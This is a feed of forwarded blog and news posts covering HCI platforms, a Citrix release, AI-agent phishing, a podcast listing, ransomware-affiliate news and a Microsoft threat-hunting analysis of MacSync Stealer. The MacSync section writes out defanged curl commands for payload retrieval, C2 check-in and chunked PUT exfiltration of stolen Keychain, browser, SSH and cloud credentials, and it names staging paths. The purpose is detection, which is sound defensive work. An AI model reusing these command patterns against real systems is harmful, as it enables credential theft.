None of this means HCI is inherently expensive. For workloads that fit its scaling model, HCI is still a very efficient way to run infrastructure – cheaper than the alternatives, even after you’ve accounted for all of the above.

Conclusion

The HCI decision has moved from consolidation to platform choice: which hypervisor, how it scales, and what it costs to run and eventually leave. Weigh those three upfront and the year-four surprise mostly disappears.

Whatever lands on your shortlist, test it against your own availability, support, and migration requirements before you commit. A datasheet can tell you what a platform supports. Only a test can tell you what it’ll be like to operate.

FAQ

How many nodes does an HCI cluster need?

Three is the common production starting point, so the cluster survives losing one node and still holds quorum. Two-node designs work when a separate witness breaks ties, and single-node deployments exist for edge sites that can tolerate a short outage. Scaling up means adding nodes; the practical ceiling is the hypervisor’s cluster limit.

What is disaggregated HCI (dHCI)?

It’s HCI that keeps single-pane management but lets compute and storage grow on separate curves, using storage-only nodes or external software-defined storage instead of adding both resources in every node. Teams reach for it when workloads are lopsided and lockstep scaling would strand CPU or disk.

Which hypervisor should replace VMware vSphere?

There’s no single answer; it depends on your workloads and in-house skills. Hyper-V and Azure Local suit Microsoft-centric shops, Nutanix AHV offers a managed route, Proxmox VE and XCP-ng appeal to teams wanting open-source control, and OpenShift Virtualization fits container-heavy estates. Match the surrounding ecosystem – backup, networking, and automation – before the hypervisor itself.

Can you mix different hypervisors in one HCI environment?

Usually not within the same cluster, but you can run different hypervisors across separate clusters. This is common during phased migrations from VMware.

from StarWind Blog https://ift.tt/8l7kgE9
via IFTTT

Citrix Virtual Apps and Desktops 2607 LTSR: Why standing still costs more than upgrading

Most technology budgets are shrinking. Most IT environments are not.

IT leaders are being asked to do more with less. They must keep the business running, keep users productive, and control costs, even as environments become more complex and every technology investment is expected to demonstrate measurable business value.

Citrix Virtual Apps and Desktops (CVAD) 2607 LTSR builds on Citrix’s long-standing leadership with new capabilities that improve operational efficiency, security, user experience, and cost optimization.

Getting more from existing investments

CVAD 2607 LTSR helps organizations reduce the cost and complexity of delivering digital workspaces at enterprise scale.

• Improved session delivery: Our protocol efficiency improvements reduced virtual session bandwidth consumption by approximately 14% in internal testing compared to the previous LTSR release. Lower bandwidth consumption also helps deliver a more consistent user experience across constrained networks.
• Improved cost management: Cloud cost visibility has also moved earlier in the operational lifecycle. Microsoft Azure VM cost estimation is now integrated into the provisioning workflow, allowing infrastructure teams to understand financial impact before resources are deployed. Our new autoscale holiday scheduling further reduces unnecessary compute consumption during planned periods of inactivity.

These capabilities are individually valuable. Together, they help organizations operate more efficiently and maximize the return on infrastructure investments they’ve made.

Operational risk you may not be tracking

Cybersecurity and compliance investments are only valuable if organizations can act on the information they collect. Many enterprises record thousands of user sessions every day but reviewing those recordings manually is impractical. Evidence exists. Finding it in time to matter is the challenge.

• Understand behavioral risk: AI-powered insights for Session Recording addresses a significant operational gap by automatically analyzing recordings and surfacing security and compliance findings for review. Authorized administrators can also securely export recordings for regulatory audits and legal proceedings, improving the organization’s ability to respond quickly when evidence is required. This saves hours of time with manual video analysis and rapidly accelerates time to resolution.
• Accelerate compliance: Citrix DaaS App Protection reporting extends operational visibility further by providing near real-time insight into policy activations and security events, helping security teams identify risk earlier and demonstrate compliance with greater confidence.

For executive leadership, the value extends beyond security. It reduces operational risk while increasing the organization’s ability to prove governance and regulatory compliance when it matters most.

Keeping users productive

Technology investments ultimately succeed or fail based on the productivity they enable. Employees rarely think about the infrastructure behind their digital workspace. They simply expect their applications, meetings, and devices to work without interruption.

Every poor collaboration experience, delayed response, or peripheral failure slows people down, increases support requests, and chips away at confidence in the technology they rely on every day. Across thousands of employees, those small frustrations quickly become measurable business costs.

• The latest Citrix Workspace Environment Management (WEM) enhancements help automate routine administration, simplify user environment management, and strengthen enterprise security, reducing operational effort while delivering a more consistent employee experience. WEM is becoming an increasingly valuable part of the Citrix platform. Utilizing the latest advances in WEM can enable logon performance in mere seconds. And that performance makes a massive difference in use cases like healthcare.
• Citrix HDX super resolution delivers a sharper, higher-quality visual experience without the infrastructure investment and operational cost traditionally associated with high-resolution graphics. By leveraging the GPU on the user’s endpoint instead of relying on dedicated server-side GPUs, organizations can improve the user experience while avoiding unnecessary infrastructure costs. For IT leaders balancing user satisfaction with budget constraints, it’s worth asking whether your current virtual desktop strategy is taking full advantage of these capabilities.
• Beyond graphics, CVAD 2607 LTSR also strengthens collaboration across all major unified communications platforms and improves the reliability of peripheral device support for business-critical workflows. The result is a digital workspace that helps employees stay productive, whether they’re collaborating with colleagues, working remotely, or using specialized devices in the field.

Citrix optimizes session delivery across all major unified communications platforms, not just Microsoft Teams. Citrix optimizes work.

Next steps

Our LTSR releases are intentionally designed with long support lifecycles because stability matters. Organizations standardize on LTSR to reduce change, minimize risk, and provide a predictable foundation for their business.

But stability and standing still are not the same thing. When a newer LTSR delivers meaningful improvements in operational efficiency, cost optimization, security, and employee productivity, remaining on an older release means forgoing business value that could be realized today.

LTSR 2607 is available for download now. To learn more about what’s included, visit our what’s new page or talk to your Citrix team.

from Citrix Blogs https://ift.tt/w3VPfZR
via IFTTT

Phishing 3.0: The Fight Moves to Agent Versus Agent

Most email defenses still do the job they did a decade ago. Scan the message, look for something malicious, block it. That worked when the danger sat in the payload, a bad link or an attachment. It stopped working when the danger moved into the message's intent, and it is failing now that the sender is no longer a person.

From Bad Content to Bad Intent to AI on Both Sides

Phishing 1.0 was bad content. Malicious links, infected attachments, spam. Secure email gateways were built for this. Scan the message, match the signature, drop the bad stuff. That era is largely handled.

Phishing 2.0 is bad intent. Business email compromise, executive impersonation, fake invoices, wire fraud. There is no malicious payload to scan, only social engineering that reads as a normal request from a person you trust. Gateways are blind to it because there is nothing in the content to flag. Behavioral analysis is the only thing that catches it, which is why some of us have spent the better part of a decade building AI that learns how your people actually communicate.

Phishing 3.0 is AI-powered and multi-channel. GenAI writes the lure. Deepfakes carry it into voice and video. The campaign spans email, collaboration tools, and live calls. The attacker is no longer a person typing. It is increasingly an agent that researches, drafts, sends, and adapts on its own.

The third stage changed the economics of attacking you.

The Attacker Now Runs an Agent

Reconnaissance used to cost an attacker time. A human had to read your website, scrape job postings, map your suppliers, and study a few executives on social media before writing something believable. Agentic AI removes that cost. An agent can summarize your public footprint, pull from GitHub and cloud documentation, identify who reports to whom, and generate a target-specific pretext in seconds, then do it again for the next 10,000 organizations.

The quality of the lure goes up. The clumsy, misspelled phish is retiring, replaced by interactive lures that hold a conversation. Microsoft has tracked phishing platforms that generate tens of millions of messages a month ^[3], and in a 2026 Dark Reading readership poll, 48% of security professionals ranked agentic AI as the top attack vector for the year, ahead of deepfakes and every other option ^[4].

The blast radius widens too. You no longer have to be a high-value target to get a tailored attack. When reconnaissance is free, every organization is worth personalizing, and the small teams that assumed they were too minor to bother with get swept into automated campaigns that arrive looking hand-crafted.

The worst of it lands when the lure leaves the inbox altogether. In one widely reported case at engineering firm Arup, the attack opened with a phishing email impersonating the company's UK-based CFO. When the employee hesitated, a deepfake video call with what looked like several familiar colleagues closed the deal. Every other face on the call was synthetic. The employee approved 15 transfers worth about $25 million ^[5]. No amount of email hygiene would have caught that. The attack went after trust in what employees could see and hear, and that trust is exactly what attackers have learned to exploit.

The Data Says Trust Is Already Broken

One incident, however expensive, is still an anecdote. The pattern shows up when you ask the people who run security for a living. In January 2026, Osterman Research published a study, commissioned by IRONSCALES, of 128 security and IT leaders at US organizations of 1,000 to 5,000 employees ^[1]. The findings are blunt.

• 88% experienced at least one incident that undermined trust in their digital communications over the prior year.
• 82% said they see heightened threat actor interest in their specific industry.
• 60% lack confidence in their ability to counter deepfake attacks, even with the training they run today.
• 55% said a failed response to a trust-based attack raises the likelihood of a full breach.
• More than a third saw attackers masquerade as a trusted vendor or partner.

The tools most organizations run assume a threat they can find inside a message. The modern attack impersonates trust across channels where there is nothing to scan, so those tools never get their shot.

The gateway math reinforces it. IRONSCALES analysis of production email traffic shows Microsoft 365 EOP missing 293 phishing messages per 100 mailboxes every 30 days, and Google Workspace missing 350, in both cases well above what a well-tuned gateway catches ^[2]. Those numbers are the daily baseline of what reaches employees after the perimeter has had its say.

Why the Old Response Model Breaks

The traditional model runs block, then detect and respond. Block what you recognize, and when something gets through, investigate and clean up after. Against a human attacker sending a few hundred emails, that cadence held. Against an agent generating personalized, conversational, multi-channel attacks faster than a person can read them, detect and respond is always one step behind.

The volume alone makes the point. In a 2026 study by Crogl and the Ponemon Institute, enterprise SOCs reported an average of 4,330 alerts a day and investigated just 37% of them ^[6]. You cannot out-hire an agent. You can only out-automate it.

So the response model has to add a third posture in front of the other two. Preempt. Anticipate the attack that is being built for you, harden detection before the first message lands, and let automation handle the routine so humans spend their time on the decisions that need judgment.

The Defender Needs an Agent Too

Phishing 3.0 forces a symmetry. If the attacker is running agents, the defender has to run them too, or accept a permanent speed disadvantage.

That shift is already underway. In the same Crogl study, security teams with the strongest postures had adopted AI in the SOC at a far higher rate than their peers, 68% against a 46% average^[6]. Microsoft reports that its autonomous alert triage agent identified 6.5 times more malicious emails than manual review and saved one health network, St. Luke's University Health Network, more than 200 analyst hours a month ^[7][8]. The agent stops being a chatbot bolted onto a dashboard and becomes a teammate that investigates end to end and hands a human a verdict instead of a ticket.

At IRONSCALES we build for this. One anticipates. One investigates. One educates.

Our Red Teaming Agent runs the same open-source reconnaissance an attacker would, studying your organization across social media, code repositories, and public filings, then hardens and personalizes detection before an attack is ever sent. Our Phishing SOC Agent investigates threats at the level of an L2 analyst, compressing forensics that take hours into minutes. Our Phishing Simulation Agent trains employees against reconnaissance-based attacks modeled on the tactics actually aimed at them, rather than generic templates. Underneath all three, our Adaptive AI learns each organization's communication patterns and sharpens on real-world signal from a network of tens of thousands of security professionals.

The product names matter less than the principle. Preemption requires an agent on the defensive side that thinks the way the offensive one does. A defense that only reacts to what already arrived is bringing yesterday's model to a fight that has moved on.

What This Means for Practitioners

Stop measuring email security only by what it blocks at the perimeter. The meaningful number is what still reaches the inbox after the gateway, because that is where the modern attack lives. Ask any vendor for their post-delivery miss rate and treat vagueness as an answer.

Extend the threat model past email into voice and video. The Arup case was a video call, not a message. If your identity verification stops at the inbox, the most expensive attacks will route around it.

Judge automation by autonomy, not dashboards. A tool that surfaces more alerts for a human to read is adding to the daily alert pile. A tool that investigates and resolves is subtracting from it. Ask what percentage of incidents get handled without a human touching them.

Treat employee training as reconnaissance-aware. Generic simulations teach people to spot generic phish. The attacks aimed at them are personalized, so the practice should be too.

Phishing 3.0 is not a forecast. Attackers are already running agents, the deepfake losses are already being counted, and the data shows trust is already being exploited faster than most defenses can respond. The organizations that come through it well will be the ones that stopped trying to win a speed race against software with human hands alone, and put an agent of their own on the field.

References

1. Osterman Research, "Rebuilding Trust in Digital Communications," commissioned by IRONSCALES, January 2026. Survey of 128 security and IT leaders at US organizations of 1,000 to 5,000 employees, fielded September to October 2025. https://ift.tt/Y7mVBnP
2. IRONSCALES, analysis of production email traffic across its customer base (post-delivery miss rates for Microsoft 365 EOP and Google Workspace, per 100 mailboxes per 30 days). Internal data; figures available on request.
3. Microsoft Security, "Threat actor abuse of AI accelerates from tool to cyberattack surface," Microsoft Security Blog, April 2, 2026. https://ift.tt/YwXqosG
4. Dark Reading, "2026: The Year Agentic AI Becomes the Attack-Surface Poster Child," 2026. https://ift.tt/gpcuXSZ
5. CNN Business, "Arup revealed as victim of $25 million deepfake scam involving Hong Kong employee," May 16, 2024. https://ift.tt/ejzaDGi
6. Crogl and Ponemon Institute, "The State of SecOps and the Deployment of AI in the SOC," 2026. Survey of 649 North American IT and security practitioners. https://ift.tt/wLSiEDX
7. Microsoft, "St. Luke's saves nearly 200 hours monthly with AI-powered Security Copilot agents," Microsoft Customer Stories, 2026. https://ift.tt/7WRnBPs
8. Microsoft, "From alert overload to decisive action: How Security Copilot agents are transforming security and IT," Microsoft Community Hub, 2026. https://ift.tt/NsQOwRZ

Note: This article has been expertly written and contributed by Steve Malone, Chief Product and Strategy Officer, IRONSCALES.

Found this article interesting? This article is a contributed piece from one of our valued partners. Follow us on Google News, Twitter and LinkedIn to read more exclusive content we post.

from The Hacker News https://ift.tt/OkSrnRh
via IFTTT

Own Your Weights or Rent Them?

SUMMARY: Brandon and Aaron discuss the pros and cons of owning or renting your model weights. What does that mean for the Enterprise, and what should you be considering?

SHOW: 1055

SHOW TRANSCRIPT: The Enterprise AI Show #1055 Transcript

SHOW VIDEO: https://youtu.be/uc0GZBLgUeo

SHOW SPONSORS:

• Nasuni - Activate your data for AI and request a demo

 Topic: Own Your Weights or Rent Them?

• Why now? Alex Karp had a spicy CNBC segment arguing enterprises should "own their weights" rather than rent models from the big labs — sparking a widely-shared response from Jamin Ball on Clouded Judgement. Substack
• Past: Same shape as the "own vs. rent" debate the industry has had before — on-prem vs. SaaS, buy vs. build for ERP/CRM — just replayed one layer down, at the model layer instead of the app layer.
• Present: A weight file is really just a frozen snapshot that degrades in relative terms as frontier models keep improving — what actually matters is owning the RL/training loop that keeps producing better weights, not the weights themselves. A model RL'd against a company's actual workflows can beat a frontier generalist model on that one task, and do it far more cheaply — but that leaves enterprises managing a sprawl of task-specific models that all need governing, versioning, and securing.
• Future: Ball frames it as a stated-preference vs. revealed-preference problem — everyone says they want model sovereignty, but the spend data shows enterprises keep writing bigger checks to the frontier labs every quarter because most don't have the talent or infra to run the loop. Where's the market for a company that closes that gap — makes "owning the loop" accessible without the complexity tax? Tie back to your Show #4 (off-the-shelf AI, harnesses) — this is basically that debate's sequel, one layer deeper. (Aaron’s hot take, and another episode: maybe it’s not about the weights at all…)

FEEDBACK?

• Email: show @ the enterprise ai show dot come
• Bluesky: @TheEntAIShow.bsky.social
• Twitter/X: @TheEntAIShow
• Instagram: @TheEntAIShow

from The Cloudcast (.NET) https://ift.tt/k2szrFw
via IFTTT

Ransom Busters Claims It Hacked Ransomware Servers, Asks Victims for Up to $60,000

A ransomware affiliate calling itself Ransom Busters has been spotted proactively sending emails to victim organizations and claims to delete stolen data from ransomware groups' servers in exchange for a fee ranging from $20,000 to $60,000.

"In these messages, the third-party offers to help the victim recover from ransomware attack. This immediately stands out as anomalous," GuidePoint Research and Intelligence Team (GRIT) said in a report shared with The Hacker News. "While cybersecurity firms commonly reach out to ransomware victims to offer consulting or recovery services, it is generally done only after the attack becomes public knowledge."

The cybersecurity company said it has responded to several recent ransomware incidents involving the threat actor, who is believed to be an affiliate with employment across multiple ransomware-as-a-service (RaaS) operations.

In emails sent to the victims, Ransom Busters is seen requesting contact with their CEO or IT leadership, while claiming to have found vulnerabilities in administrative panels maintained by RaaS groups and breaking into the servers for over three years.

The financially motivated threat actor also claims in their message that they found data stolen from the company on one of the servers they recently accessed and asks them to make a payment that's anywhere between $20,000 and $60,000 to help them regain access to their files and data and delete all backups held by the ransomware group.

GuidePoint said it observed the modus operandi when responding to incidents from threat groups including DragonForce, Settra, and Anubis, adding that the possibility that it could be the work of a legitimate organization is extremely unlikely, as it amounts to a violation of the U.S. Computer Fraud Abuse Act.

"This suggests that the operators were very likely either obfuscating the true origin of their access or they were not operating within the confines of the law," Justin Timothy, a Principal Consultant at GRIT, said. "When pressed on why they charged for their help, the group offered a puzzling explanation: that acting without compensation would put their access to the threat actor's infrastructure at risk."

An analysis of two different incidents where Ransom Busters contacted victims has uncovered "striking" similarities, including overlaps in the tools used -

• SoftPerfect Network Scanner for internal reconnaissance
• s5cmd for exfiltrating data to cloud storage via AWS
• Remotely remote monitoring and management (RMM) tool, which is installed through a PowerShell script

Other commonalities involve the creation of a local backdoor account using the password of "Numlock!123" and the detection of the same attacker-controlled hostname, DESKTOP-BBETH6K, across both intrusions. This raises the possibility that a single operator, mostly an affiliate and not a third-party, is behind the activity.

"The implications for ransomware victims are clear: criminal actors cannot be trusted and may employ deceptive tactics to encourage even more limited extortion payments," Timothy said. "'Ransom Busters' or, more likely, the ransomware affiliate maintaining this persona, has shown it will betray even its own criminal partners in pursuit of financial gain."

"Payment to any criminal party offers no guarantee that stolen data will be deleted. There are no 'magic bullets' for remedying data exfiltration and 'Ransom Busters' masquerading as beneficent saviors should be treated as a hoax."

UNC6671's Extortion Attacks

The disclosure comes as GuidePoint sheds light on a sustained adversary-in-the-middle (AitM) operation orchestrated by UNC6671 (aka Cordial Spider and O-UNC-045) targeting financial services, legal, and other industries since April under various extortion brands, such as Falcon, Helix, Pink, Redact, and BlackFile.

"The observed behavior, which mirrors similar SaaS-centric targeting from groups such as Shiny Hunters, reflects a departure from opportunistic ransomware deployment and data extortion towards purposeful targeting of large victim organizations, also known as 'big game hunting,'" GIRT said.

More than $8 million in payments have been made across 15 Bitcoin wallets attributed to the five data extortion brands during the time period. The average extortion amount stood at $600,000.

As many as 78 unique victim-targeted phishing sub-domains have been identified across 76 distinct organizations spanning 15 industry sectors. Of these, 40% are related to hedge funds, venture capital, private equity, asset management, and other financial services firms.

As recently detailed by Okta, UNC6671 operates a custom console called Work Panel that enables role-based access control, integrated target reconnaissance via commercial B2B data APIs, automated infrastructure provisioning, and real-time credential relay management using phishing templates that impersonate identity providers like Okta and Microsoft 365. According to GuidePoint, it represents a "meaningful evolution" in the industrialization of vishing-driven credential theft.

"The separation of duties – callers who know only their next target's phone number, managers who see the live session queue but nothing else, admins who own the infrastructure – is almost certainly a deliberate organizational design decision that solves the insider risk problem inherent in running criminal operations with hired labor," GIRT said.

"Callers are treated as interchangeable commodity labor, recruited through public underground channels, paid per successful capture and deliberately prevented from accessing the product of their own work."

Ransomware Landscape in Flux

The developments dovetail with the continued evolution of the ransomware landscape, with the emergence of new groups like Tengu, CRPX0, Majinahanashi, Elite Enterprise, BARADAI, Aur0ra, Lalia, QV Ransomware, Friends, Doommageddon, PicMo, and Orova. The data leak site associated with Majinahanashi has the tagline "DECISION REQUIRES CLARITY."

Unlike Tengu and CRPX0, which have heavily focused on entities located in the U.S. and Turkey, Majinahanashi has mostly targeted Switzerland, Italy, Germany, Bulgaria, and India.

"Majinahanashi is a mid-tier ransomware family with several interesting technical choices (especially network control and I/O prioritization) but does not exhibit extremely advanced anti-analysis or novel cryptography," security researcher Rakesh Krishnan said.

"Majinahanashi's implementation looks more carefully engineered and performance-aware. Its combination of classic double-extortion with selective modern techniques makes it worth monitoring."

According to Check Point's State of Ransomware Q2 2026 report, 2,139 organizations were listed on data leak sites. The share of top 10 groups dropped from 71% the previous quarter to 57.6%, even as the number of active groups jumped from 71 to 93, indicating an increasingly fragmented ecosystem.

"Modern ransomware campaigns are shifting toward pre-positioned access operations, prioritizing credential harvesting, reconnaissance, privilege escalation, and environment preparation to maximize operational success prior to encryption," CYFIRMA noted last month.

"Ransomware groups are increasingly abusing trusted enterprise infrastructure, including collaboration platforms, legitimate cloud services, signed binaries, and remote administration tools, to blend malicious activity with normal enterprise operations."

In the month of July 2026 alone, a total of 873 claimed ransomware victims were recorded, up from 722 the previous month. The highest number of ransomware victims claimed in a single month this year was 909 in March 2026. The most active groups include The Gentlemen, Qilin, and CRPx0, each claiming 138, 133, and 46 victims, respectively.

CRPx0, which was initially assumed to be a RaaS operation, appears to be an aberration, what with the locker previously distributed via lures claiming to offer OnlyFans accounts.

"The most notable one is the group’s insistence on supporting white-label operations. CRPx0 provides RaaS buyers with the resources to manage ransomware campaigns under the buyer's name and markets a 100% profit-sharing model, allowing buyers to keep all profits," Bitdefender said.

"What's also unusual is CRPx0's simultaneous marketing of a Hacking-as-a-Service (HaaS) program. The program includes data breach, network compromise, and other services intended to disrupt businesses."

What's more, the group has employed ClickFix commands embedded in fake CAPTCHA webpages and resorts to cryptocurrency theft using a clipper payload that sets it apart from other ransomware groups.

In contrast stands Akira, which is estimated to have claimed only 22 victims in July 2026. The ransomware group, however, continues to engage in defense evasion tactics to fly under the radar. In one recent incident highlighted by Huntress, an Akira affiliate is said to have rebooted a victim host into Safe Mode with Networking to knock security tools offline after obtaining initial access through a SonicWall VPN.

"In this incident, Safe Mode also broke the ransomware," security researcher James Northey said. "In its stripped-down memory environment, the Akira process tree hit an out-of-virtual-memory failure seconds after launching. While the anti-EDR effort backfired and the ransomware did not deploy, the attacker had already exfiltrated credentials and file shares. Even without encrypting anything, they can still extort the victim by threatening to leak the stolen information."

Veeam-owned Coveware, in its analysis of the threat in Q2 2026, said the average ransom payment surged 176% from Q1 ($680,081) to $1,880,612, while the median payment declined 50% to $150,000.

"This widening gap stems primarily from a handful of unusually high, 'lumpy' payments for extortions involving data exfiltration rather than traditional data encryption," Coveware said. "A key driver behind this spike was the ongoing campaign by Silent Ransom (also known as Luna Moth) against high-profile law firms."

from The Hacker News https://ift.tt/t5F4DgE
via IFTTT

Hunting MacSync Stealer infrastructure through behavioral pivots

1. Activity overview 
2. Discovery of additional rotating infrastructure 
3. Attack chain overview
4. Mitigation and protection guidance
5. References
6. Learn more

MacSync Stealer is a macOS-focused information stealer that relies on changing infrastructure to deliver payloads, communicate with compromised devices, and exfiltrate data. Earlier reporting by RST Cloud identified the threat through a limited set of domains and documented rapid command-and-control (C2) replacement after public disclosure.

Microsoft Defender Experts expanded that view by correlating recurring endpoints and network behaviors across the activity. This behavior-led approach connected more than 30 domains and showed that the infrastructure supported more than C2 communication, extending into active collection, staging, and exfiltration. The findings demonstrate that although domains may rotate quickly, repeated execution patterns, request characteristics, staging behavior, and upload methods provide defenders with more durable opportunities to investigate MacSync Stealer activity. 

Activity overview 

Microsoft Defender Experts reviewed endpoint and network telemetry to determine which MacSync Stealer behaviors persisted as infrastructure changed. The investigation followed the activity from C2 communication through collection, staging, and exfiltration, using recurring technical traits to connect activity across rotating domains. Execution began from an interactive shell session consistent with ClickFix social engineering, where users are tricked into pasting or running commands in Terminal. The shell session used curl to retrieve attacker-controlled payload content, followed by script-driven execution and outbound communication. 

After execution, the malware communicated with attacker-controlled infrastructure using recurring URI paths, macOS User-Agent strings, API-key headers, and curl command-line options. These request traits became durable behavioral pivots because they remained consistent even as domains changed. The activity then progressed into collection behavior targeting macOS Keychain material, browser data, locally stored credentials, cloud and Secure Shell (SSH) credentials, and sensitive files from common user directories. 

The investigation also confirmed active data exfiltration, not just beaconing. Collected data was staged under temporary paths, compressed into an archive, split into chunks, and uploaded through HTTP PUT requests using curl with the –data-binary argument. Upload parameters such as upload_id, chunk_index, and total_chunks provided additional hunting opportunities that could be correlated with process, command-line, file, and network telemetry across the attack chain. 

Discovery of additional rotating infrastructure 

To identify related MacSync Stealer infrastructure, Microsoft Defender Experts required multiple endpoint and network behaviors to align before treating a domain as connected. Correlation focused on recurring traits across payload retrieval, C2 check-in, and exfiltration, including process ancestry, command-line patterns, request paths, headers, and upload parameters. Applying this standard linked more than 30 domains, making the domain count an outcome of the behavioral methodology rather than the primary finding. 

The strongest pivots combined network request shape with endpoint execution context. Related infrastructure shared recurring URI patterns such as /curl/, /dynamic?txd=, and /gate?buildtxd=; curl command lines using -k, -s, –max-time, and –data-binary; macOS User-Agent strings; API-key headers; and HTTP PUT uploads that included upload_id, chunk_index, and total_chunks parameters. RST Cloud used recurring URI patterns to surface eleven additional candidate domains and found a static API-key value shared across four confirmed C2 domains while the build token rotated per deployment. Domains were treated as related when multiple behavioral traits aligned across process, command-line, and network telemetry, reducing reliance on any single domain indicator. 

This finding reinforces a practical defender lesson: rotating infrastructure can weaken static domain blocking and retrospective IOC matching, but repeated request patterns and process behaviors create durable hunting opportunities. Figure 1 shows representative defanged command-line patterns used as pivots across payload retrieval, C2 check-in, and chunked upload activity. 

Phase	Representative behavioral pivot	Why it matters
Payload retrieval	curl -kfsSL  hxxp://[domain]/curl/[token]	Identifies the initial payload retrieval pattern without depending on a single domain.
C2 check-in	curl -k -s –max-time 30  -H “User-Agent: Mozilla/5.0 (Macintosh…)”  -H “api-key: **********”  hxxp://[domain]/dynamic?txd=[token]	Combines endpoint command-line context with recurring request shape, headers, and URI paths.
Chunked exfiltration	curl -k -s -X PUT –data-binary @-  -H “api-key: **********”  hxxp://[domain]/gate?buildtxd=[token]  &upload_id=[id]&chunk_index=[n]&total_chunks=[n]	Shows active data exfiltration and provides durable upload parameters for hunting across domains.

Figure 1. Representative behavioral pivots associated with MacSync Stealer payload retrieval, C2 check-in, and chunked HTTP PUT exfiltration. 

The same behavioral patterns used to identify additional infrastructure also map to the broader end-to-end activity observed on affected macOS devices. 

Attack chain overview

The observed MacSync Stealer activity followed a fast, script-driven attack chain designed to execute quickly on macOS, collect high-value local data, stage the results, and exfiltrate the archive through rotating web infrastructure. This sequence matters because each phase produces telemetry that can be correlated across processes, command-line, file, and network events. Rather than relying on any individual domain, defenders can track the chain through recurring execution tools, URI paths, staging locations, and upload parameters. 

MacSync Stealer attack chain showing payload execution, AppleScript-assisted activity, data collection, staging and compression, exfiltration through rotating infrastructure, and cleanup of temporary artifacts.

Phase	Observed behavior	Hunting value
Payload retrieval	Interactive shell launches curl to retrieve staged payload content.	Correlate shell ancestry, curl command lines, and /curl/ retrieval paths.
C2 check-in	Requests use recurring URI paths, macOS User-Agent strings, and API-key headers.	Track request shape across domains instead of matching domains alone.
Collection and staging	Credential, browser, cloud, SSH, and user-file data is collected and archived.	Look for sensitive-file access followed by archive creation under temporary paths.
Chunked exfiltration	curl uploads staged archive chunks using HTTP PUT and –data-binary.	Hunt for upload_id, chunk_index, total_chunks, and /gate?buildtxd= patterns.
Cleanup	Temporary archives, staging folders, and lock files are removed.	Correlate deletion activity with preceding collection and outbound upload events.

Figure 2. MacSync Stealer attack chain showing payload retrieval, AppleScript-assisted execution, collection, staging, chunked exfiltration, and cleanup mapped to behavioral hunting opportunities. 

Phase 1: Initial access and payload execution

Observed execution began from an interactive zsh terminal session, where curl retrieved payload content over a /curl/ path before the payload was decoded or unpacked using native utilities such as Base64 and gunzip. This phase is useful for hunting because the combination of user-facing shell activity, curl retrieval, and unpacking behavior is more durable than any single download domain. 

Phase 2: AppleScript-assisted execution

The payload used osascript to run AppleScript-assisted shell commands, blending macOS scripting with Unix command-line tooling. Observed activities included sh, cp, rm, curl, mkdir, and killall operations. This phase creates hunting value when osascript launches shell activity that quickly chains into network communication, staging, or cleanup behavior. 

Phase 3: Discovery and data collection

After execution, the malware collected host and user information, enumerated running processes and system details, and checked for cryptocurrency wallet applications, including Ledger and Trezor-related local artifacts. It then targeted macOS Keychain material, browser Safe Storage keys, browser credentials, cookies, login databases, session data, IndexedDB, LevelDB, extension storage, Safari data, Apple Notes, SSH keys, AWS credentials, Kubernetes configurations, browser profiles, browsing history, and sensitive files from common user directories. The hunting value comes from correlating sensitive data access with the later staging and upload sequence. 

Phase 4: Data staging and compression

Collected data was staged under /tmp/sync* paths and compressed into /tmp/osalogging.zip before uploading. The archive was split into multiple chunks, creating a repeatable staging and transfer pattern that defenders can correlate with preceding collection behavior and subsequent outbound curl traffic. 

Phase 5: Exfiltration over rotating infrastructure

The staged archive was uploaded through rotating infrastructure using curl and HTTP PUT requests. Observed requests included –data-binary, API-key headers, macOS User-Agent string, upload_id values, chunk_index values, and total_chunks parameters. These upload traits confirmed active data exfiltration and provided durable hunting pivots even when domains rotated. 

Phase 6: Cleanup and evidence removal

After exfiltration, the malware removed temporary archives, staging folders, lock files, and other artifacts. Although this cleanup reduced on-disk evidence, the sequence of archive creation, chunked upload, and deletion can still provide a useful behavioral correlation for defenders. 

Mitigation and protection guidance

The attack chain findings point to three mitigation priorities.

1. Organizations should reduce the risk of user-initiated Terminal execution by educating users and using platform controls that interrupt suspicious paste-and-run workflows. Microsoft’s ClickFix reporting recommends educating users not to run commands from untrusted sources and monitoring suspicious Terminal or shell activity associated with these lures. 

2. Defenders should monitor post-execution behavior when initial prevention does not stop activity, including suspicious shell usage, AppleScript-assisted commands, curl-based payload retrieval, credential-store access, temporary staging paths, and archive creation.  

3. Detection should include exfiltration monitoring for HTTP PUT uploads, –data-binary usage, upload identifiers, chunk indexes, total chunk counts, and recurring /gate URI patterns that can reveal active data theft even when C2 domains rotate. 

In macOS 26.4 and later, Apple introduced protections designed to disrupt ClickFix-style attacks, including warnings that can block potentially malicious Terminal pastes and XProtect checks that can prevent detected malicious scripts from running.

When a user attempts to paste a potentially malicious command into Terminal, macOS displays a warning that blocks the paste and explains that scammers may use Terminal instructions to compromise the Mac or the user’s privacy. 

“Possible malware, Paste blocked” 

“Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.” 

Organizations can also follow these recommendations to mitigate threats associated with this threat: 

• Reduce Terminal execution risk. Educate users not to paste or run Terminal commands from untrusted websites, chat messages, apps, files, or phone-based instructions. 

• Monitor suspicious Terminal usage. Alert on unusual Terminal, zsh, or shell sessions that retrieve payloads, decode content, or execute commands shortly after user interaction. 

• Detect native tool abuse. Flag unusual sequences of macOS utilities such as curl, Base64, gunzip, osascript, cp, rm, mkdir, and killall. 

• Hunt for post-execution behavior. Correlate AppleScript-assisted shell activity, curl-based payload retrieval, credential-store access, temporary staging paths, archive creation, and cleanup behavior. 

• Protect credential stores. Detect unauthorized access to Keychain material, browser credential stores, SSH keys, cloud credentials, and sensitive files in common user directories. 

• Monitor data staging. Alert on sensitive artifact collection followed by compression, archive creation, or staging under temporary paths such as /tmp/sync*. 

• Monitor exfiltration patterns. Identify curl-based HTTP PUT uploads that use –data-binary, API-key headers, upload_id, chunk_index, total_chunks, or recurring /gate URI patterns. 

• Restrict suspicious outbound traffic. Block or investigate connections to suspicious, newly registered, or behaviorally related domains while continuing to hunt on request patterns that may persist after domains rotate. 

Microsoft also recommends the following mitigations to reduce the impact of this threat. 

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats. 

• Enable network protection and web protection to help prevent connections to malicious websites, phishing pages, and attacker-controlled infrastructure used for malware delivery, command-and-control communication, and data exfiltration. 

